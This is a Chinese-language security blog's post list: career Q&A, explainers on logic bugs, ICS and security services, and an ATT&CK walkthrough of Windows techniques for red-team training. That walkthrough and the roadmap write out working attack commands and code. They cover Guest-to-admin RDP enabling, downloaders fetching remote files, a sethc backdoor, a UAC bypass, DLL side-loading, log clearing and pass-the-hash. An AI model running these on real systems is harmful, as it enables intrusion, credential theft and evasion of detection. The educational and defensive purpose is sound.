[問題諮詢] 002 資安方向諮詢是否需要先考研究所與待遇

飛飛 | 2023-02-21

問題1:是否先出社會或讀研究所

想請問一下走資安的話應該要先考研比較好還是先出社會再考研比較好,我在網路上沒有找到其他人的經驗分享所以才想說來問一下您。

不過倒是有在國外的論壇上找到其他人的分享,在國外大家似乎都是偏向先出社會有了經驗再決定要不要回去讀碩,畢竟是國外所以想說問一下您可能會獲得不同角度的看法。

答覆1

我是先出社會再回去讀碩班,大四的時候有推甄,先註冊後休學保留學籍兩年。
你傳送了資安的話比較看能力給薪水,
以我的觀點是,我出社會的經驗,讓我知道目前資安公司(乙方)他們面臨到哪些問題,需要哪些能力。

而我在回來碩班可以加強相關知識,有更明確的學習方向。

問題2:讀研究所的薪水差距

有碩跟沒碩在薪水上會有明顯的差距嗎

答覆2

資安的話比較看能力給薪水,除非是那種公家機關 or 大公司才看學士 或 碩士。

[問題諮詢] 001 高三文組諮詢轉資安方向

飛飛 | 2023-02-21

問題

學姊你好,我是高三的學生,未來想要往資安發展,有看到您的文章。但我是純文組出身,學測前才想轉跑道,但來不及報考自然科,所以想跟學姊請教個問題:

目前能填跟資訊相關科系的有政大資管、交大資財財金組、成大資管、逢甲資工,加上我未來想轉台大資工系,不知道學姐有什麼看法。

答覆

  1. 拼轉學考
    • 如果下定決心轉學考,那說實話哪個學校都沒差別,要補習就建議在台北補習,資源比較強,可以選政大。
    • 缺點:政大資安目前剛開始,師資不全
    • 台大資工轉學考不好考,要有心理準備,轉學考是孤獨的。
  2. 課程資源與師資
    • 交大資源比較強一些,要去選資工系的課程(拼轉系),強化資工底層的課程。
    • 優點:資源多,可以去清大、中央上課
  3. 社群資源
    • 如果希望有人陪伴,逢甲大學黑客社的人多,可以一起研究資安。
    • 缺點:學費貴

其他參考資料

交大轉系的心得文章:

[網站漏洞] 005 商業邏輯漏洞 Business Logic Vulnerabilities

飛飛 | 2023-02-17

前言

商業邏輯漏洞主要由「開發者」在撰寫程式碼的時候,不太熟悉安全的程式碼開發原則,因此寫出 Bug 而該 Bug 引起重大影響,如個資外洩、商業邏輯任意修改。

何謂商業邏輯

首先我們可以看以下的流程

  1. 使用者看到商品列表
  2. 使用者看到喜歡的商品,後點選「加入購物車」的按鈕
  3. 系統將商品加入到購物車
  4. 使用者點選結帳
  5. 系統結算應該結帳的金額

其中加入購物車跟結帳都是需要系統後端撰寫程式碼去實作「邏輯」的部分,但如果這些內容沒有撰寫好,可能就會有邏輯缺陷。

為什麼會有商業邏輯漏洞

主要有幾個原因

  1. 無條件信任使用者輸入的內容
  2. 過濾使用者輸入,但是沒有過濾完全,導致被繞過

商業邏輯漏洞影響

  1. 任意修改系統邏輯
  2. 影響到使用系統的使用者,如個資外洩

商業邏輯漏洞範例

  1. 前端進行過濾,但後端沒有過濾,導致只需要攔截封包,修改封包內容就可以被繞過。
  2. 訂購商品沒有限制為正整數,被駭客修改成 負數或是 0 可能會造成金額上的算數問題。

Hackerone 真實案例

如何防禦商業邏輯漏洞

  1. 完全不要信任使用者的輸入
  2. 程式碼邏輯應該要撰寫清晰

CWE

[工控安全] 001 ICS 工業控制系統與普渡模型

飛飛 | 2022-07-23

工業控制系統與普渡模型

工業控制系統

Industrial Control System 簡稱 ICS = 電腦與工業設備組成的自動控制系統,包含感應器(Sensor)、執行器(Actuators)、輸入端與輸出端組成。並且透過通訊協定,IT 場域可能常聽到 HTTP 或 TCP,而 OT 場域分成有開源與設備廠商閉源開發的通訊協定。

普渡模型

Purdue Enterprise Reference Architecture 簡稱 PERA = OT 與 IT 整合的參考模型,但實際上台灣有很多中小型企業的工控場域的連 IT 化都還不成熟。

該模型描述工控場域每一個設備之間的關係,共有六個區塊

  1. 第五層 企業智慧層
  2. 第四層 企業營運層
  3. 第三層 廣域現場製造和操作控制層
  4. 第二層 區域現場製造和操作控制層
  5. 第一層 控制層
  6. 第零層 受控設備層

其中第五層與第四層是 IT 場域,第三層到第零層是 OT 場域,以第零層開始講解:

第零層 受控設備層

  • Equipment Under Control 簡稱 EUC
  • 該層擺放許多工業製造流程中所使用的設備與元件。
  • 生產設備、驅動器等,根據工廠的性質而使用的原料可能有塑膠、化學等原料。
  • 過去以人力將原料放置設備內,工業轉型後可能採用機械手臂、機器人,並由第一層進行操控。

第一層 控制層

  • 保護受控設備的系統,如 BPCS 和 SIS
  1. 基本製程控制系統(Basic Process Control System 簡稱 BPCS)
    • 控制受控設備的系統,人員可操作該系統,確認原料的數量。
    • 紀錄生產數值,可以產生受控設備的生產報告,進行確認。
    • 可能包含警報記錄,如原料異常或設備異常等紀錄。
  2. 安全儀表系統(Safety instrumented system 簡稱 SIS)
    • 保障生產安全,如偵測到氣壓太高可能關閉氣體閘。

第二層 區域現場製造和操作控制層

  • 監控基礎建設的設施,查看執行與事件偵測和回應得控制器、監控器或操作介面。
  1. 可程式化邏輯控制器(Programming Logic Control 簡稱 PLC)
  2. 變頻驅動器(Variable-frequency Drive 簡稱 VFD)
  3. 人機操作介面(Human Machine Interface 簡稱 HMI)

第三層 廣域現場製造和操作控制層

  • 監控整個工控場域
  1. 監控和資料蒐集系統(Supervisory Control And Data Acquisition 簡稱 SCADA)
  2. 分散式控制系統(distributed control system 簡稱 DCS)

第四層 企業營運層

  • 企業核心 IT 系統
  1. 企業資源規劃系統(Enterprise Resource Planning 簡稱 ERP)
  2. 產品生命週期管理系統(Product Lifecycle Management 簡稱PLM)
  3. 供應鏈管理系統(Supply Chain Management 簡稱 SCM)
  4. 客戶關係管理系統(Customer Relation Management 簡稱 CRM)

第五層 企業智慧層

  • 現代趨勢構建雲端環境,並透過大數據分析,採用機器學習和人工智慧分析製成資料,進而使生產效能提高。

特殊區域 IDMZ

工控區域的非軍事區(Industrial Demilitarized zone, IDMZ)
DMZ 是在 IT 場域中,透過防火牆區隔一個網段,讓使用者可以存取企業的公開資訊,因為網段的設定無法存取企業內部敏感資訊。

而 IDMZ 則是於 IT 與 OT 之間,區隔一個 DMZ 區,讓 OT 與 IT 並非可直接互相存取,提升安全性。

重點回顧

  1. 何謂工業控制系統
  2. 普渡模型
  3. IDMZ

[ATT&CK®] 3 分析攻擊手法制定紅隊演練流程

飛飛 | 2022-07-01

紅隊演練訓練環境

建立靶機環境與知識庫

透過上一篇文章,分析三十六個 Techniques 為範例,分析攻擊手法後作為紅隊演練的訓練,可以制定一套學習 Windows 的流程與進度表:

第零步:了解 Windows 歷史與文件

  • Windows 版本與Windows 伺服器版本
  • 各版本的差異與功能不同
  • 已知弱點(如 CVE)也需要注意版本

第一步:了解基本指令的操作

分析 ATT&CK® 針對 Windows 相關的 Techniques,可以發現 APT 組織皆以 Cmd 或是 Powershell 作為攻擊媒介,因此可以針對兩種指令進行訓練。

可以針對 ATT&CK® 所使用的指令,進行學習,作為補充指令。

cmd 命令提示字元,可參考 初學者之卷 所撰寫的教學。

Powershell:可參考微軟官方文件

  • Get-Help Command-Name:取得幫助內容。
  • Get-Command 了解目前主機安裝多少 cmdlet。
  • Invoke-WebRequest :送出請求,取得網頁內容。
  • 嘗試了解 APT 組織所使用的 PowerShell 指令

第二步:了解 Windows File System

  • Logical drives:硬碟 C 槽
  • 預設資料夾(PerfLogs、Program Files and Program Files (x86)、Users)
  • 預設檔案(作業系統的程式碼)

了解這些預設資料夾的功能與預設檔案的功能。

第三步:Windows 權限檔案

權限主體分成 Users 跟 Group ,而可以設定的權限可以分成以下七個:

  • Full control:允許使用者、群組設定資料夾與其他人的所有權限(修改、讀取、寫入、執行)。
  • Modify:允許使用者和群組修改、讀取、寫入和執行檔案。
  • Read & execute:允許使用者和群組讀取和執行檔案。
  • List folders content:允許使用者和群組列出資料夾內容,含子資料夾。
  • Read:僅允許使用者和群組讀取檔案。
  • Write:允許使用者和群組寫入指定資料夾。
  • Special permissions:特殊存取權限。

檔案
資料夾

使用 icacls 檢查檔案權限和資料夾權限:

  • I:從父容器繼承的權限
  • F:完全控制
  • M:修改權限
  • OI:對象繼承
  • IO:僅繼承
  • CI:容器繼承
  • RX:讀取並執行
  • AD:追加子資料夾
  • WD:寫入資料

第四步:Windows 身分驗證

驗證身分該使用者的合法性。

  • 身分驗證帳戶:本機使用者帳戶和系統管理員帳戶。

登入概念

  • 認證:確認身分過程,認證 = 憑證 + 驗證
  • 授權:該使用者可以做什麼操作與可以存取什麼資源。
  • 憑證:身分證明:系統使用者帳號和密碼

驗證階段透過 Local Security Authority(本機安全性驗證),管理本機安全性原則,進行驗證。

  • 了解 Windows 驗證的原理與流程
  • Windows 內建帳號與群組的關係
  • net 指令的相關應用
  • Windows 密碼與雜湊(NTLM)

第五步:Windows 內建功能

一、Computer Management:電腦管理

  • 工作排程器:可以指定特定條件自動執行定義與操作。
  • 事件檢視器:查看 windows Log 相關事件(成功、失敗登入事件與系統錯誤),可以將 Log 轉發到 SIEM 中確認惡意動作。
  • 共用資料夾:在網路上共享可以被多個使用者存取的目錄或資料夾。
  • 本機使用者和群組:可以新增使用者,可以管理群組。
  • 效能:監視設備的 CPU 使用率、記憶體使用率。
  • 裝置管理器:硬體管理,網路介面卡、滑鼠、韌體。
  • 磁碟管理:可以縮小、擴展、新增分區並格式化。
  • 服務和應用程式:可以檢查系統上正在執行的服務,啟動、停止、重新啟動。

二、Local Security Policy:本機安全性原則

三、Disk Cleanup

四、Registry Editor

Win + R + RegEdit

五、Registry Editor (Regedit)

第六步:Windows Server

了解 Windows Server 的伺服器可衍生出多種功能。

第七步:Windows Log

Windows 預設路徑 C:\Windows\System32\winevt\Logs

三種查看 Windows 事件的工具

  1. Event Viewer
  2. Wevtutil.exe
  3. Get-WinEvent

五種 Windows 紀錄的事件

  • 關閉 Windows IIS HTTP Logging 的手法
C:\Windows\System32\inetsrv\appcmd.exe set config “website_name” /section:httplogging /dontLog:true

第八步:Active Directory

了解 Active Directory 與 Azure Active Directory 的差別,以及驗證方式的不同。

Active Directory

  • NTLM
  • LDAP / LDAPS
  • KERBEROS

Azure Active Directory

  • SAML(安全性聲明標記語言)
  • OAUTH 2.0
  • OpenID連接

第九步:惡意腳本撰寫

分析 APT 組織所撰寫的惡意腳本內容,並學習該程式語言以及了解惡意腳本執行方式與內容。

  • PowerShell
  • VBScript
  • JavaScript

以上為透過分析 Techniques 初步制定紅隊演練的學習流程,可以再繼續透過分析 Technique 了解更多攻擊手法,將紅隊演練的知識樹擴展。

參考網址

Terms of use

  • MITRE ATT&CK® and ATT&CK® are registered trademarks of The MITRE Corporation.

[資安服務] 003 BAS(Breach and Attack Simulation) 入侵與攻擊突破模擬與其他資安服務比較

飛飛 | 2022-06-10

常見的資安服務

市面上除了有「弱點掃描」、「滲透測試」、「紅隊演練」三種資安檢測服務,這些服務都是以「駭客的攻擊角度」去檢測企業的網站、系統、網路環境,並且都是以「人力為主」的服務架構,服務價錢根據企業環境程度有所不同。

BAS(Breach and Attack Simulation)

透過新種服務型態:BAS(Breach and Attack Simulation),這是一種在 2017 年開始興起的新興技術應用, BAS 為滲透與攻擊模擬的自動化與智慧化,也是作為「入侵與攻擊突破模擬」。

BAS 技術的主要優勢在於以有限的風險提供連續測試,該技術可用於警告 IT 部門和業務利益相關者,有關「安全狀況方面」的現有差距,或驗證安全基礎結構、安全規劃和防禦技術是否按預期執行。

常見資安服務比較

以上為四種資安服務的差別與優勢,而 BAS 作為資安服務的優勢如下:

  1. 被定義為可自動模擬駭客進行多面向攻擊的一種工具:
    • 以有限的風險提供自動化、持續化、流程化與智慧化特性的工具,亦可以檢測防禦設備的有效性。
  2. BAS 工具讓企業人員能全天候持續性的進行入侵與攻擊模擬​:
    • 攻擊模擬範圍可能涵蓋各類外部威脅、橫向移動、資料外洩與漏洞利用等,可以了解資安風險,主動識別安全漏洞,取得企業內部高度敏感資產的攻擊路徑。
  3. 讓企業了解可能遭受攻擊的環節,採購與部署防護設備:
    • 除了驗證安全基礎結構、安全規劃和防禦技術是否確實執行,也讓企業能直覺了解缺乏的項目所在,明白安全狀況方面現有的差距,透過結果來採購與部署適合的防護設備,有效減少資安層面上的重複或錯誤投資。

[新手入門] 001 Web Security 領航之路-資安入門手冊

飛飛 | 2022-05-13

Web這是一篇以 Web 網站安全為主的資安入門文章,作為資安新手學習的系統化路徑指南,可用於資安自學或資安相關社團入門社課的安排順序。

(閱讀全文...)

[資安工具] 001 proxychains4

飛飛 | 2022-04-30

Kali 內建工具 proxychains4 ,可以在連線時,透過 proxy 再連到指定的伺服器。

(閱讀全文...)

[指令日記] 001 IIS Log 預設路徑 & 修改檔案時間(Windows、Linux)

飛飛 | 2022-04-25

本系列紀錄維謢專案時用到的指令,本次專案遇到需要查詢 IIS Log 預設路徑,以及更改特定的檔案時間 Windows、Linux 。

IIS Logs Location

預設路徑: %SystemDrive%\inetpub\logs\LogFiles

修改檔案時間

修改 Windows 檔案的時間

$(Get-Item ).creationtime=$(Get-Date "mm/dd/yyyy hh:mm am/pm")
$(Get-Item ).lastaccesstime=$(Get-Date "mm/dd/yyyy hh:mm am/pm")
$(Get-Item ).lastwritetime=$(Get-Date "mm/dd/yyyy hh:mm am/pm")

修改 Linux 檔案的時間

touch -t 202204240145.10 檔案名稱

[ATT&CK®] 2 ATT&CK® 36個 Techniques 分析

飛飛 | 2022-04-11

上篇介紹 ATT&CK® 是一個紀錄資安攻擊與情資分享的資料庫,是給攻擊方與防禦方溝通的橋樑,紅隊如何使用 ATT&CK®,將透過本篇文章一探究竟。ATT&CK® 會記錄 APT 組織的攻擊手法,所以可以從攻擊手法分析。本篇以 12 個階段與平台以 Windows 為例子,每個階段以三個 Techniques 為範例,並分析每個範例的攻擊手法,從分析中找出紅隊演練的學習 Windows 攻擊流程。

ATT&CK® 以 Windows 為例

此章節會先以 12 個階段與平台以 Windows 為例子,每個階段以三個 Techniques 為範例,並分析每個範例的攻擊手法。

36個 Techniques 分析

每一個 Techniques 有許多種重現的方式與手法,因篇幅原因,僅列出部分手法,作為參考與說明。

Initial Access

T1078.001 Default Accounts

攻擊者可以透過 Windows 預設帳號的權限,作為初始存取,而 Windows 有效的預設帳號為 Guest 來賓帳號 與 Administrator 管理員帳號,攻擊手法如下:

因為 Administrator 的帳號過於顯眼,因此透過提升權限的方式,讓 Guest 可以登入並進行遠端桌面,使用 cmd 執行。

  1. 使用預設帳號 Administrator 管理員預設密碼,取得管理員權限
  2. 開啟 Guest 來賓帳號的狀態
    net user guest /active:yes
  3. 設定 Guest 來賓帳號的密碼
    net user guest h2draPassword!
  4. 將 Guest 來賓帳號加入到群組 Administrator
    net localgroup administrators guest /add
  5. 將 Guest 來賓帳號加入到遠端桌面使用者群組
    net localgroup "Remote Desktop Users guest" /add
  6. 允許遠端桌面連項(fDenyTSConnections 預設 1 拒絕遠端桌面連線)
    reg add "hklm\system\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
  7. 允許新的遠端桌面連線
    reg add "hklm\system\CurrentControlSet\Control\Terminal Server" /v "AllowTSConnections" /t REG_DWORD /d 0x1 /f

cmd 實際操作

T1566.001 Spearphishing Attachment

攻擊者可以寄發夾帶惡意檔案的釣魚信件,嘗試對受害者系統中進行初始存取。

啟用巨集且含有惡意 VBScript 的 Excel 中會開啟瀏覽器並下載惡意檔案,攻擊手法如下:

  • 使用 PowerShwll
if (-not(Test-Path HKLM:SOFTWARE\Classes\Excel.Application)){
return '請安裝 Microsoft Excel'
}
else{
$url = 'https://惡意檔案.xlsm'
$fileName = 'PhishingAttachment.xlsm'
New-Item -Type File -Force -Path $fileName | out-null
$wc = New-Object System.Net.WebClient
$wc.Encoding = [System.Text.Encoding]::UTF8
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
($wc.DownloadString(“$url”)) | Out-File $fileName
}

透過以下指令,可以驗證電腦內是否安裝 Excel:

Excel 存在

T1133 External Remote Services

攻擊者可以透過外部的遠端服務(如 VPN)進行初始存取,從外部網路連機到企業內部或受害者的網路。

APT 組織透過前一階段 Recon 收集到受害者的 VPN 帳號密碼,進而連線到企業的 RDP 服務或 VPN 服務。

  • 執行 Chrome VPN 擴充元件
  • 擴充元件都會有 extension_id
$extList = #extension_id
foreach ($extension in $extList) {
New-Item -Path HKLM:\Software\Wow6432Node\Google\Chrome\Extensions\$extension -Force
New-ItemProperty -Path "HKLM:\Software\Wow6432Node\Google\Chrome\Extensions\$extension" -Name "update_url" -Value "https://clients2.google.com/service/update2/crx“ -PropertyType "String" -Force}
Start chrome
Start-Sleep -Seconds 30
Stop-Process -Name "chrome"

Execution

T1053.002 Scheduled Task/Job: At (Windows)

攻擊者濫用 at.exe 來執行惡意程式碼,排定時程執行檔案。

at 13:20 /interactive cmd

T1559.002 Dynamic Data Exchange

攻擊者使用 Windows 動態資料交換(DDE)執行任意指令。

DDE 是一種 Client 端與 Server 端的協定,透過一次性或連續性的通訊,建立連結之後可以自動交換事件 ,如資料更改通知與指令執行請求。

  1. 開啟 word (新版的 Word 無法重現)
  2. 點選插入 > 快速組件 > 功能變數

點選功能變數

  1. 點選 =(Formula) > 點選確認

點選 =(Formula)

4. 出現非預期之公式結尾

Word 將出現

5. 將鼠標移動到「!非預期之公式結尾」點選右鍵,點選切換功能變數代碼

將鼠標移動到「!非預期之公式結尾」點選右鍵,選擇切換功能變數代碼

6. 出現 { = * MERGEFOMRAT }

7. 修改為 {DDEAUTO c:\windows\system32\cmd.exe "/k calc.exe"}

8. 儲存檔案該檔案,關閉檔案

9. 重新開啟後,選擇是,就會觸發惡意 POC ,開啟小算盤

T1204.002 Malicious File

惡意攻擊者仰賴受害者開啟惡意檔案並執行,可能透過巨集或其他方式下載惡意檔案。

  • 透過 cmd 寫檔案 script,透過 cscript 執行
echo var url ="https://505f93ba3af7.ngrok.io/flag.txt",fso = WScript.CreateObject('Scripting.FileSystemObject'), request, stream; request = WScript.CreateObject(‘MSXML2.ServerXMLHTTP’); request.open('GET' , url, false);
request.send();if (request.status === 200) {
stream = WScript.CreateObject('ADODB.Stream');
stream.Open();
stream.Type = 1;
stream.Write(request.responseBody);
stream.Position = 0;
stream.SaveToFile("c:\\windows\\temp\\flag.txt", 1);
stream.Close();
}else{
WScript.Quit(1);
}WScript.Quit(0); > %TEMP%\OSTapGet.js
cscript //E:Jscript %TEMP%\OSTapGet.js

執行開 Javascript 可以看出伺服器有請求紀錄

Persistence

T1197 BITS Jobs

惡意攻擊者濫用 BITS ,執行惡意程式碼後清理。

BITS 是透過 COM 傳輸機制,可以透過更新程式在後台執行,且不中斷其他應用程式。

  • 透過 Bitsadmin 下載檔案
bitsadmin.exe /transfer /Download /priority Foreground #{remote_file} #{local_file}

T1176 Browser Extensions

惡意攻擊者透過瀏覽器的擴充功能,進行攻擊。

  • 安裝惡意的擴充功能

許多擴充功能會繞過 Google 擴充商店的偵測,可能夾帶惡意的廣告或木馬,造成受害者損失。

T1546.001 Change Default File Association

惡意攻擊者透過文件類型關聯觸發惡意檔案,在 Windows 中打開文件通常會使用預設的程式開啟,如附檔案名 txt 可能會透過 Windows 內建的記事本開啟,而文件關聯會儲存於 Windows 註冊表中,可直接透過編輯註冊表,或透過 assoc 修改該副檔名預設開啟的程式。


註冊表位於 HKEY_CLASSES_ROOT[extension]

assoc #{extension_to_change}=#{target_extension_handler}

Privilege Escalation

T1546.008 Accessibility Features

惡意攻擊者執行可存取的惡意檔案來提升權限,如 Windows 中的相黏鍵(Shift 五次)被置換成 cmd.exe 或其他的惡意程式。

  1. 複製相黏鍵進行備份
    copy C:\Windows\System32\sethc.exe C:\Windows\System32\sethc_backup.exe
  2. 讓 sethc 提供系統管理員群組的擁有權 /F 指定檔案;/A 擁有權
    takeown /F C:\Windows\System32\sethc.exe /A
  3. icacls 顯示或修改指定檔案上的判別存取控制清單 (DACL),/grant 授予管理員權限
    icacls C:\Windows\System32\sethc.exe /grant Administrators:F /t
  4. 複製 cmd 到.exe sethc.exe
    copy /Y C:\Windows\System32\cmd.exe C:\Windows\System32\sethc.exe
copy C:\Windows\System32\sethc.exe C:\Windows\System32\sethc_backup.exe
takeown /F C:\Windows\System32\sethc.exe /A
icacls C:\Windows\System32\sethc.exe /grant Administrators:F /t
copy /Y C:\Windows\System32\cmd.exe C:\Windows\System32\sethc.exe

T1548.002 Bypass User Account Control

惡意攻擊者會繞過 UAC 機制進而使自己提升權限,Windows 中 UAC 可以允許程式提升權限。

reg.exe add hkcu\software\classes\mscfile\shell\open\command /ve /d "#{executable_binary}" /f

cmd.exe /c eventvwr.msc

T1574.002 DLL Side-Loading

攻擊者透過劫持 DLL 函式庫執行惡意程式碼。

GUP 是 Notepad ++ 用於軟體更新的開放原始碼簽名二進位檔案,容易受DLL 影響,因此可以加載 libcurl dll,執行後,將開啟小算盤 calc.exe。

#include <stdio.h>
#include <windows.h>

extern __declspec(dllexport) void curl_easy_setopt(void){ return; }
extern __declspec(dllexport) void curl_easy_cleanup(void) { return; }
extern __declspec(dllexport) void curl_easy_duphandle(void) { return; }
extern __declspec(dllexport) void curl_easy_escape(void) { return; }
extern __declspec(dllexport) void curl_easy_getinfo(void) { return; }
extern __declspec(dllexport) void curl_easy_init(void) { return; }
extern __declspec(dllexport) void curl_easy_pause(void) { return; }
extern __declspec(dllexport) void curl_easy_perform(void) { return; }
extern __declspec(dllexport) void curl_easy_recv(void) { return; }
extern __declspec(dllexport) void curl_easy_reset(void) { return; }
extern __declspec(dllexport) void curl_easy_send(void) { return; }
extern __declspec(dllexport) void curl_easy_strerror(void) { return; }
extern __declspec(dllexport) void curl_easy_unescape(void) { return; }

void DllUnregisterServer(void){
    system(“calc.exe”);
    return;
}

BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lol){
    switch (ul_reason_for_call){
        case DLL_PROCESS_ATTACH:{
            DllUnregisterServer();
            break;
        }
        case DLL_THREAD_ATTACH:
            break;
        case DLL_THREAD_DETACH:
            break;
        case DLL_PROCESS_DETACH:
            break;
    }
    return TRUE;
}

Defense Evasion

T1218.003 CMSTP

惡意攻擊者濫用 CMSTP 代理惡意程式碼執行。

CMSTP.exe Microsoft 連接管理器設定文件安裝軟體,用來安裝連接管理器的程式,接受資訊文件(INF)作為參數,並安裝從遠端存取連接的服務設定檔案。

攻擊者向 CMSTP.exe 傳送惡意的 INF 檔案,以下為惡意 INF 檔案 範例:

; Author: @NickTyrer-https://twitter.com/NickTyrer/status/958450014111633408

[version]
Signature=$chicago$
AdvancedINF=2.5

[DefaultInstall_SingleUser]
UnRegisterOCXs=UnRegisterOCXSection

[UnRegisterOCXSection]
%11%\scrobj.dll,NI,https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1191/src/T1191.sct

[Strings]
AppAct = "SOFTWARE\Microsoft\Connection Manager"
ServiceName="Yay"
ShortSvcName="Yay"
  • 透過 cmd 執行 cmstp.exe 並指定 inf 檔案名稱
cmstp.exe /s #{inf_file_path}

T1070.001 Clear Windows Event Logs

惡意攻擊者清除 Windows 事件日誌以隱藏入侵活動,Windows 事件日誌會記錄警報與通知,事件來源分別為系統、應用程式、安全性,有五種事件類型:錯誤、警告、資訊、成功審核、失敗審核。

  1. Log 路徑位於C:\Windows\System32\winevt\Logs 其中系統日誌名稱為 System
  2. 清除 log
    • wevtutil cl#{log_name}
  3. 透過 PowerShell 刪除
$logs = Get-EventLog -List | ForEach-Object {$_.Log}
$logs | ForEach-Object {Clear-EventLog -LogName $_ }
Get-EventLog -list

Get-EventLog -list

T1070.003 Clear Command History

除了消除系統日誌之外,攻擊者還可以清楚受害系統的指令歷史紀錄,以隱藏入侵時所使用的指令。

Windows 中 PowerShell 提供兩種不同的指令紀錄,內建歷史紀錄與 PSReadLine模組管理的指令歷史記錄。

內建歷史紀錄:只會記錄當前命令提示視窗內所使用的指令,不會記錄其他視窗,並且關掉視窗之後就會刪除。

PSReadLine :紀錄 PowerShell 所使用的指令,並寫入檔案中(預設路徑$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt

  • 取消 PowerShell 歷史紀錄功能

Set-PSReadlineOption –HistorySaveStyle SaveNothing

  • 刪除 PowerShell 歷史紀錄

Remove-Item (Get-PSReadlineOption).HistorySavePath

Get-PSReadlineOption

Credential Access

T1552.001 Credentials In Files

攻擊者會在本機文件系統與遠端檔案共享搜尋不安全儲存的憑證檔案,可能是受害者自行新增的憑證檔案。

  • 透過 PowerShell findstr 找檔名為密碼的文件檔
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -Pattern password

T1552.002 Credentials in Registry

攻擊者會在受害系統中的註冊表搜尋不安全儲存的憑證,Windows 註冊表可儲存系統的設定資訊,攻擊者查詢註冊表後,找到已儲存的憑證或密碼,有機會達到自動登入。

  • 列舉註冊表的憑證(HKLM 本機端、HKCU 當前登入使用者)
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s

T1555.003 Credentials from Web Browsers

惡意攻擊者可以讀取特定瀏覽器的檔案或是從瀏覽器中或的憑證,如 Windows 中 Google Chrome 路徑為AppData\Local\Google\Chrome\User Data\Default\Login Data 並透過 SQL 查詢語法查詢 SELECT action_url, username_value, password_value FROM logins; 後將被加密資料傳送到 Windows API函數CryptUnprotectData 進行解密。

  • ATT&CK® 官網有針對 APT29 該 APT 組織的攻擊流程,做產品評測,有提供工具,以下測試使用該工具

https://github.com/mitre-attack/attack-arsenal/blob/master/adversary\_emulation/APT29/CALDERA\_DIY/evals/payloads/Modified-SysInternalsSuite.zip

  • 下載該 zip 檔案之後,將檔案放置 $env:TEMP\Modified-SysInternalsSuite.zip 並進行解壓縮。

Expand-Archive $env:TEMP\Modified-SysInternalsSuite.zip $env:TEMP\sysinternals -Force

  • 並透過微軟官方工具 accesschk,該工具為確認權限的工具。

https://docs.microsoft.com/en-us/sysinternals/downloads/accesschk

  • 於 PowerShell 中執行
Set-Location -path “$env:TEMP\Sysinternals”;
./accesschk.exe -accepteula .;

Discovery

T1010 Application Window Discovery

惡意攻擊者嘗試取得目前使用者已經打開應用程式的視窗列表,取得發現有用的資訊。

using System;
using System.Collections.Generic;
using System.Diagnostics;
/*
Author: Tony Lambert, Twitter: @ForensicITGuy
License: MIT License
Step One:C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe T1010.cs
Step Two:T1010.exe
*/

namespace WindowLister{
    class Lister{
        static List ListMainWindowTitles(){
            List windowTitlesList = new List();
            Process\[\] processlist = Process.GetProcesses();
            foreach (Process process in processlist)  
        {  
            string titleOutputLine;  

            if (!String.IsNullOrEmpty(process.MainWindowTitle))  
            {  
                titleOutputLine = "Process: " + process.ProcessName + " ID: " + process.Id + " Main Window title: " + process.MainWindowTitle;  
                windowTitlesList.Add(titleOutputLine);  
            }  
        }  

        return windowTitlesList;  
    }  

    static void Main(string\[\] args)   
    {  
        List<string> windowTitlesList = ListMainWindowTitles();  
        windowTitlesList.ForEach(i => Console.Write("{0}\\n", i));  
    }  
}  
}
  • 透過以上的程式碼編譯並執行
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe T1010.cs
.\T1010.exe

查看目前開啟應用程式的標題

T1217 Browser Bookmark Discovery

惡意攻擊者會枚舉瀏覽器的書籤,了解受害主機的資訊,從書籤可以了解該使用者的資訊,如常用網站、興趣與社交媒體,甚至是伺服器、工具等資訊。

  • 使用 PowerShell 取得書籤位置
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe T1010.cs
.\T1010.exe

  • 使用 cmd 列出書籤位置
where /R C:\Users\ Bookmarks

T1083 File and Directory Discovery

惡意者枚舉檔案和資料夾,為了在受害主機中收集有用資訊,可能透過 dir、tree、ls、find 等指令。

  • 使用 cmd,透過 dir 將常用的資料夾內容都輸出到 %temp%\download
dir /s c:\ >> %temp%\download
dir /s "c:\Documents and Settings" >> %temp%\download
dir /s "c:\Program Files\" >> %temp%\download
dir "%systemdrive%\Users\*.*" >> %temp%\download
dir "%userprofile%\AppData\Roaming\Microsoft\Windows\Recent\*.*" >> %temp%\download
dir "%userprofile%\Desktop\*.*" >> %temp%\download
tree /F >> %temp%\download
  • 使用 PowerShell:以下三種方式都可以
ls -recurse
get-childitem -recurse
gci -recurse

Lateral Movement

T1021.003 Distributed Component Object Model

惡意攻擊者透過有效的帳號,並使用 DCOM(分布式元件物件模型)與遠端系統進行連線,並已有效帳號的身分執行與操作。

COM (元件物件模型)是 Windows API 的元件,該元件可以讓軟體之間進行連線或介面之間可執行程式碼。

透過 COM 使用者端可以使用伺服器端的方法,DLL 或 EXE。

  • 使用 mmc20 應用程式 COM 進行 PowerShell 的橫向移動
[activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.application","localhost")).Document.ActiveView.ExecuteShellCommand("c:\windows\system32\calc.exe", $null, $null, "7")

T1550.002 Pass the Hash

惡意攻擊者透過被外洩的密碼雜湊值,在內部網路環境橫向移動,繞過存取控制。Pass the Hash(PtH)不需要使用者的明文密碼,直接進入使用雜湊進行身分驗證的步驟,通過身分驗證之後,可以在系統上操作任意指令。

  • 使用 mimikatz
mimikatz.exe "sekurlsa::pth /user:Administrator /domain:test.local /ntlm:#{ntlm}"
  • 使用 crackmapexec
crackmapexec #{domain} -u #{user_name} -H #{ntlm} -x #{command}

T1550.003 Pass the Ticket

惡意攻擊者透過被外洩的 Kerbers Ticket 繞過身分驗證。

mimikatz.exe # kerberos::ptt Administrator@test.local

Collection

T1560 Archive Collected Data

惡意攻擊者壓縮敏感資料,混淆收集資烙並減少網路傳輸的資料量。

  • 使用 PowerShell 壓縮檔案
dir #{input_file} -Recurse | Compress-Archive -DestinationPath #{output_file}

T1115 Clipboard Data

攻擊者透過收集剪貼簿中的資料,嘗試取得敏感資訊。

  • 使用 cmd

將目前目錄清單複製到 Windows 剪貼簿 dir | clip

